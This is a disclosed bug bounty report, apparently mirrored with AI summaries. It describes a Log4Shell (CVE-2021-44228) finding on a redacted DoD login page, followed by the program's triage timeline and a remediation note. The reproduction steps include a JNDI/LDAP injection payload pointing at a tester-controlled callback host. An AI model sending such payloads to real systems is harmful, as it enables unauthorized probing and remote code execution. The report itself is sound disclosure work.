███ ████████ running a vulnerable log4j
The application was running a vulnerable version of Log4j, allowing an attacker to inject a JNDI lookup string into the username field. This could lead to arbitrary code execution, though the report only observed a DNS request as evidence.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 13 days
- Disclosed after 20 days
#Report
Description:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
Impact
Probably arbitrary code execution
System Host(s)
███████
Affected Product(s) and Version(s)
CVE Numbers
CVE-2021-44228
Steps to Reproduce
- Browse to https://██████████/█████████https%3A%2F%2F███%2F
- Enter a
${jndi:ldap://dns-server-yoi-control/a}into the username field - Enter a random password
- Submit
Observe that a request was made to your DNS server. This strongly suggests a vulnerable log4j.
Suggested Mitigation/Remediation Actions
Update log4j or disable jndi support.
#Activity Timeline
2021-12-10 18:16 (-0600) (comment) Greetings from the Department of Defense (DoD),
Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).
By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.
The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.
We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.
Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.
Regards,
The VDP Team
2021-12-13 08:29 (-0600): @agent-l8 (report severity updated) null
2021-12-13 08:29 (-0600): @agent-l8 (bug triaged) Greetings,
We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.
Thank you for bringing this vulnerability to our attention!
We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.
You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.
Thanks again for supporting the DoD Vulnerability Disclosure Program.
Regards,
The VDP Team
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application used a version of Log4j that processes JNDI lookups in logged messages, enabling remote code execution.
Impact
Probably arbitrary code execution, though the report only confirmed a DNS request.
What the attacker needed
Access to the login page; a server to receive DNS requests
The fix
Update Log4j or disable JNDI support.
How it was found
- Browse to the login page.
- Enter a JNDI lookup string into the username field.
- Enter a random password.
- Submit the form and observe a DNS request to the tester's server.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Log4j is a logging library used by many Java applications. It can be tricked into making network requests when it logs certain strings, which can let an attacker run their own code on the server. Here, the tester put a special string in a login form and saw their own server get contacted, showing the flaw.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.